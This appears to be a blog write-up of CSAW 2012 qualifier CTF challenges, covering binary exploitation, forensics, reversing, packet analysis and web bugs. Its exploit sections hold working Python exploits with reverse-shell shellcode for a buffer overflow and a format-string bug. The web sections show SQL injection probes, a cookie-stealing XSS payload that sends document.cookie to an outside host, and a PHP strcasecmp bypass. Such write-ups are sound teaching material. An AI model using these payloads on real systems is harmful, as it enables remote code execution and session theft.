CSAW 2012 Quals Tutorial/Writeup

November 9, 2012

Better late than never! There are already tons of excellent writeups online (many more complete in terms of problems) but this is yet another one. If you’re new here, one thing I try to do is include all the files you need to follow along. So if you didn’t actually play in csaw, this is where my writeup might be worthwhile. These are the odd math problems with answers in the back of the text box :)

I played on ACME Pharm. We managed to solve all the challenges except network 400. We sort of gave up on it and quite a few teams passed us. After the CTF finished, I went back and solved several that looked interesting and other people on the team solved during the CTF. Point being, if I mess something up in this write-up it shouldn’t reflect poorly on the rest of the team :P

Exploits 200

Problem: exploit200

Cracking the binary open in IDA, we see this pretty early.

.text:08048D4B loc_8048D4B: ; CODE XREF: main+2DBj .text:08048D4B mov dword ptr [esp], 0 ; uid .text:08048D52 call _setuid .text:08048D57 cmp eax, 0FFFFFFFFh .text:08048D5A jz short loc_8048D74 .text:08048D5C mov dword ptr [esp], offset aGotroot ; "gotroot" .text:08048D63 call _perror .text:08048D68 mov dword ptr [esp], 1 ; status .text:08048D6F call _exit .text:08048D74 ; --------------------------------------------------------------------------- .text:08048D74 .text:08048D74 loc_8048D74: ; CODE XREF: main+304j .text:08048D74 mov eax, [esp+0F8h] .text:08048D7B mov [esp], eax ; fd .text:08048D7E call handle .text:08048D83 mov eax, 0 .text:08048D88 jmp short loc_8048DBB

The key is grabbed in the “handle” function, where the interesting stuff is. So the point of this snippet, we can’t run as root. Gettingg into the handle function, it compares to this:

.text:08048980 mov [esp+4], eax ; buf .text:08048984 mov eax, [ebp+fd] .text:08048987 mov [esp], eax ; fd .text:0804898A call _recv .text:0804898F mov [ebp+var_D], 0 .text:08048993 mov dword ptr [esp+4], offset secret ; "AAAAAAAAAAAAAAAAAAAAAAAAAA

" .text:0804899B lea eax, [ebp+buf] .text:080489A1 mov [esp], eax ; s1 .text:080489A4 call _

Then it reads from a file called “./key” and sends the contents (at least the first word) back. I just sent the As and it sent me back the key from the file.

echo "AAAAAAAAAAAAAAAAAAAAAAAAAA" | ncat 192.168.138.129 54321 Wecome to my first CS project. Please type your name: thisismysecretkeyAAAAAAAA

Exploits 300

Problem: exploit300

There is a bunch of signal stuff that breaks up the execution flow. To debug, I made sure to modify how gdb handled signals being thrown at it, using the “signal” command. Also, how I debug remote processes is I set follow-fork-mode child. That way I can see where it’s crashing. Other people sometimes do this by patching the fork with nops, which is also an option.

Right off, the program exits if there isn’t a user named “liotian”, so if running locally this user needs to be added. But after you have the user and if you’re ignoring signals, it’s a straightforward buffer overflow. I just sent metasploit’s ./pattern_create.rb at it and found the offset it crashed at using pattern_offset. Also, I had to subtract a bit off of esp in my shellcode since metasploit’s encoding needs the stack, and in this case the stack was corrupted by being too close to eip. To adjust the stack I add “\x81\xC4\x3E\xFE\xFF\xFF” to the top which is opcodes for “add esp, -450”. (by the way, another handy tool is metasploit’s ./nasm_shell, which I use quite a bit to turn assembly to opcodes)

#!/usr/bin/python import socket import argparse import struct # msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.138.129 -b '\x00' -e x86/shikata_ga_nai shellcode = ( "\x81\xC4\x3E\xFE\xFF\xFF" + #adjust esp "\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" + "\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" + "\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" + "\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" + "\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" + "\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" + "\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" + "\xe6\xe3\x7a\x79\x03\x39\xfc" ) print len(shellcode) parser = argparse.ArgumentParser() parser.add_argument("--host", default="128.238.66.218") parser.add_argument("--port", default=4842 ) args = parser.parse_args() jmpesp = struct.pack("<I", 0x08048fbb) payload = "A" * 326 + jmpesp + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((args.host, args.port)) data = s.sendall(payload)

Exploit 400

Problem: Exploit400

This is a clear format string vulnerability. In gdb just set follow-fork-mode child and see the process crash with %n. This happens at:

08048BFE call _snprintf

We can get an arbitrary overwrite at the close got address that’s called pretty soon after

.got.plt:0804B064 off_804B064 dd offset close

so the location where we want to overwrite to control eip is 0804B064

let’s see where our format is coming from:

.text:08048BE9 mov [esp+8], eax ; format .text:08048BED mov dword ptr [esp+4], 3FFh ; maxlen .text:08048BF5 lea eax, [ebp+s] .text:08048BFB mov [esp], eax ; s .text:08048BFE call _snprintf

setting a breakpoint, this is 0x804b120, which is

(gdb) maintenance info sections Exec file: `/home/mopey/exploit400', file type elf32-i386. 0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS 0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS ... 0x804b080->0x804b0e8 at 0x00002080: .data ALLOC LOAD DATA HAS_CONTENTS 0x804b100->0x804b320 at 0x000020e8: .bss ALLOC 0x0000->0x002a at 0x000020e8: .comment READONLY HAS_CONTENTS

so oour format string is in .bss, which is also marked as executable and won’t vary like the stack would. Here’s the final exploit

#!/usr/bin/python import socket import argparse import struct # msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.138.129 -b '\x00' -e x86/shikata_ga_nai shellcode = ( "\xdb\xc7\xbe\x75\xd1\xf5\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9" + "\xb1\x14\x31\x73\x19\x83\xeb\xfc\x03\x73\x15\x97\x24\xc4" + "\x1d\xa0\x24\x74\xe1\x1d\xc1\x79\x6c\x40\xa5\x18\xa3\x02" + "\x9d\xba\x69\x6a\x20\x43\x9f\x36\x4e\x53\xce\x96\x07\xb2" + "\x9a\x70\x40\xf8\xdb\xf5\x31\x06\x6f\x01\x02\x60\x42\x89" + "\x21\xdd\x3a\x44\x25\x8e\x9a\x3c\x19\xe9\xd1\x40\x2c\x70" + "\x12\x28\x80\xad\x91\xc0\xb6\x9e\x37\x79\x29\x68\x54\x29" + "\xe6\xe3\x7a\x79\x03\x39\xfc" ) parser = argparse.ArgumentParser() parser.add_argument("--host", default="192.168.138.129") parser.add_argument("--port", default=23456 ) args = parser.parse_args() #.got send owLocation = 0x0804B068 owValue = 0x804b145 def createFmt(owValue, owLocation): HOB = owValue >> 16 LOB = owValue & 0xffff if HOB < LOB: payload = struct.pack("<I", owLocation + 2) payload += struct.pack("<I", owLocation) payload += "%." + str(HOB -8) + "x" payload += "%5$hn" payload += "%." + str(LOB-HOB) + "x" payload += "%6$hn" else: payload = struct.pack("<I", owLocation + 2) payload += struct.pack("<I", owLocation) payload += "%." + str(LOB -8) + "x" payload += "%6$hn" payload += "%." + str(HOB-LOB) + "x" payload += "%5$hn" return payload payload = createFmt(owValue, owLocation) payload += "\x90" * 30 payload += "\xcc" payload += shellcode payload += "

" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((args.host, args.port)) data = s.recv(1024) print data s.sendall(payload) while data != "": data = s.recv(1024) print data,

There’s also some detection of /bin/sh and stuff, but since my shellcode was generated all of these were hidden automatically for me.

Forensics 100, 200

Files: Forensics100, Forensics200

To solve these, I first used strings to find a bunch of stuff that looked like this.

tEXtcomment key{rodney danielle} tEXtcomment key{matthieu blayne}

I know nothing about PNGs, but searching online for these tEXT sections I stumbled across a tool called pngcheck.

For number 200 I tried

pngcheck -7 version1.png comment: key{nguyen willie} comment: key{takeuchi gregory} version1.png CRC error in chunk tEXt (computed 5005ed3c, expected 26594131)

and takeuchi gregory is the only one with a tEXT chunk checksum error, and also the key. In forensics 200, it’s almost the same except for the key is the only tEXT chunk without an error.

pngcheck -7 -f version2.png |less ... key{donnie winston} version2.png CRC error in chunk tEXt (computed 1bc013c9, expected c913c01b) comment: key{jeremy socorrito} version2.png CRC error in chunk tEXt (computed bcb8529b, expected 9b52b8bc) comment: key{johnnie tigger} (no error)

Reversing 100

Problem: Rev100

This is a Window’s executable. There’s this main function that prints the encrypted key and ends, and then there’s a decryption function that’s never reached. You can’t see it in graph mode, but in text mode this function is clear.

ext:004010EE add esp, 8 .text:004010F1 push 0 ; uType .text:004010F3 push offset Caption ; "Key!" .text:004010F8 lea ecx, [ebp+Text] .text:004010FB push ecx ; lpText .text:004010FC push 0 ; hWnd .text:004010FE call ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x) .text:00401104 push 0FFFFFFFFh ; Code .text:00401106 call ds:__imp__exit .text:00401106 main endp .text:00401106 .text:0040110C ; --------------------------------------------------------------------------- .text:0040110C lea edx, [ebp-18h] .text:0040110F push edx .text:00401110 call decrypt .text:00401115 add esp, 4 .text:00401118 push offset aDecryptedKey ; "Decrypted Key: " .text:0040111D lea eax, [ebp-58h] .text:00401120 push eax .text:00401121 call _strcpy .text:00401126 add esp, 8 .text:00401129 lea ecx, [ebp-18h] .text:0040112C push ecx .text:0040112D lea edx, [ebp-58h] .text:00401130 push edx .text:00401131 call _strcat .text:00401136 add esp, 8 .text:00401139 push 0 .text:0040113B push offset aKey ; "Key!" .text:00401140 lea eax, [ebp-58h] .text:00401143 push eax .text:00401144 push 0 .text:00401146 call ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x) .text:0040114C push 0 .text:0040114E call ds:__imp__exit

so I want to fill the exit at 00401104 with nops. I do this in windbg with

eb 00401104 90 90 90 90 90 90 90 90

then I run the program, and it prints the key

Reversing 200

Problem: Rev200

This is a managed .NET windows executable. To win, you can just set a breakpoint at the end and read the key. I used windbg with the sos extensions

0:000> .loadby sos clr 0:000> !DumpStackObjects OS Thread Id: 0xf58 (0) ESP/REG Object Name 0012F244 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle 0012F2A4 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle 0012F304 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle 0012F334 00b2d4b0 Microsoft.Win32.SafeHandles.SafeFileHandle 0012F358 00b2d4c4 System.IO.__ConsoleStream 0012F37C 00b2d4f4 System.IO.StreamReader 0012F380 00b2d4f4 System.IO.StreamReader 0012F398 00b2d4f4 System.IO.StreamReader 0012F39C 00b2d864 System.IO.TextReader+SyncTextReader 0012F3BC 00b2d864 System.IO.TextReader+SyncTextReader 0012F3E4 00b2d430 System.Char 0012F3E8 00b2d3cc System.String The key is 9c09f8416a2206221e50b98e346047b 0012F3EC 00b2d44c System.String The key is 9c09f8416a2206221e50b98e346047b7 0012F3F0 00b2d430 System.Char 0012F3F4 00b2d3cc System.String The key is 9c09f8416a2206221e50b98e346047b 0012F3F8 00b2b65c System.Byte[] 0012F3FC 00b2d44c System.String The key is 9c09f8416a2206221e50b98e346047b7 0012F410 00b2b64c System.Object[] (System.String[]) 0012F4C4 00b2b64c System.Object[] (System.String[]) 0012F66C 00b2b64c System.Object[] (System.String[]) 0012F6A0 00b2b64c System.Object[] (System.String[]) 0012F7DC 01b23250 System.Object[] (System.Object[]) 0:000> !DumpObj 00b2d44c Name: System.String MethodTable: 79b9fb08 EEClass: 798d8bb0 Size: 100(0x64) bytes File: C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll String: The key is 9c09f8416a2206221e50b98e346047b7 Fields: MT Field Offset Type VT Attr Value Name 79ba2ad4 4000103 4 System.Int32 1 instance 43 m_stringLength 79ba1f24 4000104 8 System.Char 1 instance 54 m_firstChar 79b9fb08 4000105 8 System.String 0 shared static Empty >> Domain:Value 0015d938:00b21228 <<

Reversing 300

Problem: Rev300

Another managed .NET windows executable.

First, you need to recompile to get out the system exit that happens at the beginning. I used ilspy to disassemble and create a .csproj I could open with visual studio. Then I recompiled to edit this out. Alternatively, you could jump over it in a debugger, but I think recompiling is probably easier.

Second, I need to get out the md5hash it’s getting from program files. We need to create a file there that md5hashes to the same hash it’s comparing.

#!/usr/bin/python import binascii array = [ 255, 151, 169, 253, 237, 224, 158, 175, 110, 28, 142, 201, 246, 166, 29, 213 ] stuff = binascii.hexlify(''.join([chr(i) for i in array])) print stuff

This generates the md5 hash: ff97a9fdede09eaf6e1c8ec9f6a61dd5, which Googling gives us the string “Intel”. double checking:

$ echo -n "Intel" | md5sum.exe ff97a9fdede09eaf6e1c8ec9f6a61dd5 *-

Once we have a directory c:\\program files\Intel, the program will print the key: That was pretty easy, wasn’t it? \key{6a6c4d43668404041e67f0a6dc0fe243}

Reversing 400

Problem: rev400

This is almost identical to reversing 100, except it’s a linux elf rather than a Window’s exe. I have the same strategy here. My biggest problem was figuring out how to configure gdb to write into .text sections (you do it with write, and then you have to reload the executable)

(gdb) set {char}0x0000000004006B9 = '\x90' Cannot access memory at address 0x4006b9 (gdb) show write Writing into executable and core files is on. (gdb) ex exec-file explore (gdb) exec-file ./csaw2012reversing (gdb) set {char}0x0000000004006B9 = '\x90' (gdb) set {char}0x0000000004006BA = '\x90' (gdb) set {char}0x0000000004006BB = '\x90' (gdb) set {char}0x0000000004006BC = '\x90' (gdb) set {char}0x0000000004006BD = '\x90' (gdb) set {char}0x0000000004006BE = '\x90' (gdb) set {char}0x0000000004006BF = '\x90' (gdb) set {char}0x0000000004006C0 = '\x90' (gdb) set {char}0x0000000004006C1 = '\x90' (gdb) set {char}0x0000000004006C2 = '\x90' (gdb) continue Encrypted Key: Decrypted Key: csawissohard__:( [Inferior 1 (process 39007) exited normally]

Net 100

Problem: net100

This was a pcap. Simply open it in wireshark, right click to follow the stream for the key.

Net 200

Problem: net200

Some dude I know is planning a party at some bar in New York! I really want to go but he’s really strict about who gets let in to the party. I managed to find this packet capture of when the dude registered the party but I don’t know what else to do. Do you think there’s any way you can find out the secret password to get into the party for me? By the way, my favorite hockey player ever is mario lemieux.

Solution:

glancing through this in wireshark it looks like there are POST requests to party requests. Setting this filter:

ip.addr == 66.96.131.56 and http.request.method == "POST"

looking through these, following the second one gives:

si_contact_CID=1&si_contact_name=Mike+Jones&si_contact_email=mike%40example.com&si_contact_ex_field1=917-459-2485&si_contact_subject=Party+time%21&si_contact_message=Hey%21+I+want+to+plan+a+party+at+your+venue.+I%27m+expecting+a+lot+of+people+though+and+I+don%27t+want+anyone+who+isn%27t+supposed+to+be+there+showing+up+for+the+fun.+If+you+can+do+me+a+favor+and+make+sure+to+ask+for+the+phrase+%22brooklyn+beat+box%22+before+letting+attendees+in%2C+that+would+be+awesome%21&si_code_ctf_4=H2cEwa6GC0WdaT8P&si_contact_captcha_code=B38F&si_contact_action=send&si_contact_form_id=4

so “brooklym beat box”

Net 300

Problem: net300

Opened up the pcap in wireshark and looked at it for a while. One thing I noticed was in frame 67 it says it’s a Teensy Keyboard/Mouse. Googling for teensy keyboard gives us this site, which I thought was useful: http://www.pjrc.com/teensy/usb_keyboard.html. It has a table on the front page which looks promising. Looking at the .h file gives a bunch of codes for the table…

I still wasn’t completely sure how to extract things. Presumably I want to get the keys being pressed.

I decided to try capturing my own keyboard traffic, and ended up here: http://wiki.wireshark.org/CaptureSetup/USB. This also turned out to be useful.

We can attach to the keyboard USB bus simply by observing the interfaces, and which interface gets traffic when we type. Then, attaching to the interface we can see traffic. Four “frames” happen for every key pressed. Inferring from the table given in the teensy link and knowing the key I actually pressed (e.g. “B” is 5), the keycode is clearly in the “Leftover Capture Data” at the end of the first interrupt. For example, this is a “b” being pressed.

I don’t know much about USB still, but all the other packets when I press a key seem to have a 0 at the -6th byte, so we can potentially filter on this. That’s what I did in my first attempt

#!/usr/bin/python from scapy.all import * KEY_CODES = { 4:"A", 5:"B", 6:"C", 7:"D", 8:"E", 9:"F", 10:"G", 11:"H", 12:"I", 13:"J", 14:"K", 15:"L", 16:"M", 17:"N", 18:"O", 19:"P", 20:"Q", 21:"R", 22:"S", 23:"T", 24:"U", 25:"V", 26:"W", 27:"X", 28:"Y", 29:"Z", 30:"1", 31:"2", 32:"3", 33:"4", 34:"5", 35:"6", 36:"7", 37:"8", 38:"9", 39:"0", 40:"

", 44:" ", 45:"-", 46:"=", 47:"{", 48:"}", } pkts = rdpcap("net300.pcap") msg= "" for packet in pkts: global msg hid_report = packet.load[-8:] key_code = ord(hid_report[2]) ch = KEY_CODES.get(key_code, False) if ch: msg += ch print msg

This prints:

BBBARXTERM -GEOMETRY 12X1=0=0 ECHO K RXTERM -GEOMETRY 12X1=75=0 ECHO E RXTERM -GEOMETRY 12X1=150=0 ECHO Y RXTERM -GEOMETRY 12X1=225=0 ECHO { RXTERM -GEOMETRY 12X1=300=0 ECHO C RXTERM -GEOMETRY 12X1=375=0 ECHO 4 RXTERM -GEOMETRY 12X1=450=0 ECHO 8 RXTERM -GEOMETRY 12X1=525=0 ECHO B RXTERM -GEOMETRY 12X1=600=0 ECHO A RXTERM -GEOMETRY 12X1=675=0 ECHO 9 RXTERM -GEOMETRY 12X1=0=40 ECHO 9 RXTERM -GEOMETRY 12X1=75=40 ECHO 3 RXTERM -GEOMETRY 12X1=150=40 ECHO D RXTERM -GEOMETRY 12X1=225=40 ECHO 3 RXTERM -GEOMETRY 12X1=300=40 ECHO 5 RXTERM -GEOMETRY 12X1=450=40 ECHO C RXTERM -GEOMETRY 12X1=375=40 ECHO 3 RXTERM -GEOMETRY 12X1=525=40 ECHO A RXTERM -GEOMETRY 12X1=600=40 ECHO }

I was pretty stuck here, since what appears to be the key wasn’t working. But it turns out the geometry was just off. If you sort the geometry on the C and 3 character at the end, you win.

Web 300

Problem: This is a website belonging to a horse-fighting gang. Even with an account, it’s not clear what they’re up to. Your task is to get administrator access and see if you can figure anything out. Your account is csaw_challenger/letmein123.

Solution:

This web app had a SQL injection in /horse.php, but it also had a waf that was blocking UNION and SELECT. In early testing, I did a few queries like these:

#there are four columns GET /horse.php?id=1+OR+1%3d1+ORDER+BY+5-- HTTP/1.1 #v5 GET /horse.php?id=1-(IF(MID(version(),1,1)+LIKE+5,+BENCHMARK(10000000,SHA1('true')),false)) HTTP/1.1

Someone else on my team solved this before I did, and I got pretty stuck since they said they just used a simple union. I tried various logic flows to get back to that point. I didn’t spend too much time on it though, since we had already solved it and we had unsolved network 400 (I hate you network 400). It turns out the web app was broken at the beginning of csaw (waf wasn’t working) and later they fixed the challenge. The WAF bypass was through parameter polution, and googling the first writeup I see is here: http://isisblogs.poly.edu/2012/09/30/csaw-ctf-horseforce-writeup/.

Web 400

Problem: CryptoMat is a site where you can send encrypted messages to other users. Dog is a user on the site and has the key. Figure out how to get into his account and obtain it.

Solution:

The data is just xored with this array, the key, and the previous block:

xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36]

Writing code, this should work with arbitrary keys, which becomes important later on. Here is code to encrypt or decrypt arbitrary data with arbitrary keys:

#!/usr/bin/python import sys import urllib def padArg(argv): while len(argv) % 8 != 0: argv += "\x00" return argv def padKey(key, dlen): padKey = key i = 0 while len(padKey) < dlen: padKey += key[i%len(key)] i += 1 return padKey xordata = [0x17, 0x34, 0x17, 0x39, 0x11, 0x35, 0x24, 0x36] padarg = padArg(sys.argv[1]) key = sys.argv[2] padKey = padKey(key, len(padarg)) print padKey fstr = "" for i in range(0, len(padarg)): a = ord(padarg[i]) ^ xordata[i%8] ^ ord(padKey[i]) xordata[i%8] = (ord(padarg[i])) fstr += chr(a) #dummy uriencode, because normal urilib encode seemed to break something a = [(ord(i)) for i in fstr] for i in a: i = hex(i) i = i[2:] if len(i) == 1: i = "0" + i i = "%"+i sys.stdout.write(i) print ""

The goal is to get DoG to execute script, which will be decrypted – so we need to encrypt Javascript that will send us the key. We want something like:

document.location="https://webstersprodigy.net/blah?" + bdocument.cookie

Unfortunately, the javascript doesn’t seem to like quotes (or it could be an issue with my code). Regardless, we can encode it so it doesn’t need quotes using hackvertor. So then we transform this into

<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,98,97,100,46,119,101,98,115,116,101,114,115,112,114,111,100,105,103,121,46,110,101,116,47,98,108,97,104,63,80,82,79,80,69,82,84,89,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</script>

We then monitor on the web server to steal dog’s login. I eventually get: PHPSESSID=4ehb7kihmi774r6bf9u48h37e0, but it seems to change quickly and expires in a few minutes. Luckily I was running through burp and spidered all the pages, so the data was all in my history.

I pull back this in the inbox

<td>Cat</td> <td>PASS PLZ</td> <td><a href="download.php?id=2"><img src="res/dl.png" /></a></td> </tr> <tr class="open"> <td>Cat</td> <td>WAT</td> <td><a href="download.php?id=4"><img src="res/dl.png" /></a></td> </tr> <tr class="open"> <td>Cat</td> <td>Your key is ILIKECARROTS</td> <td><a href="download.php?id=5"><img src="res/dl.png" /></a></td> </tr> <tr class="open"> <td>Cat</td> <td>THX</td> <td><a href="download.php?id=6"><img src="res/dl.png" /></a></td> </tr>

and this in the outbox

<td>Cat</td> <td>Hello, this is Dog.</td> <td><a href="download.php?id=1"><img src="res/dl.png" /></a></td> <td><a href="delete.php?id=1"><img src="res/cross.png" /></a></td> </tr> <tr class="open"> <td>Cat</td> <td>Ok.jpg, encoded my key with your</td> <td><a href="download.php?id=3"><img src="res/dl.png" /></a></td> <td><a href="delete.php?id=3"><img src="res/cross.png" /></a></td> </tr>

The interesting looking messages are:

Message 1 1c30112f5c670a12322e2b14794b1a3a151c0c2a535d281a34232e1b444528393a22367a33205b56 Message 2 1775567850746577 Message 4 1775567850746577 Message 3 1d192a013504000538330a3d112d494e Message 5 6147614d6b495a5b Message 6 1775567850746577

Some of the messages (ascii hex encoded):

I used the key “Ilikecarrots” to decrypt message 5, which contained the key to the previous message, all the way back to the key for submission.

Web 600

Everyone said this was easy, and it is if you know the “trick”, but I spent quite a bit of time trying timing account type attacks and stuff… Someone else on the team solved it, and this is what they have.

The code source shown in the phps is as follow :

<?php $key = "key{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"; $pass = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; if ( strcasecmp( $_GET['pass'], $pass ) == 0 ) { echo($key); } ?>

According to the php manual the strcasecmp function is a Binary safe case-insensitive string comparison and returns 0 if str1 is greater than str2, and 0 if they are equal.

By passing pass[] (an array) as argument like follow (even with value null) :

http://128.238.66.216/eccbc87e4b5ce2fe28308fd9f2a7baf3/submit.php?pass%5B%5D

the strcasecmp will try comparing an array in $_GET[‘pass’] with the string declared locally called $pass.

This will lead strcasecmp to return a NULL result (not same as 0 in case of two strings equals) and in this case we will have : NULL==0 so the result will be :

key{this_is_how_our_scoreboard_was_owned_last_night}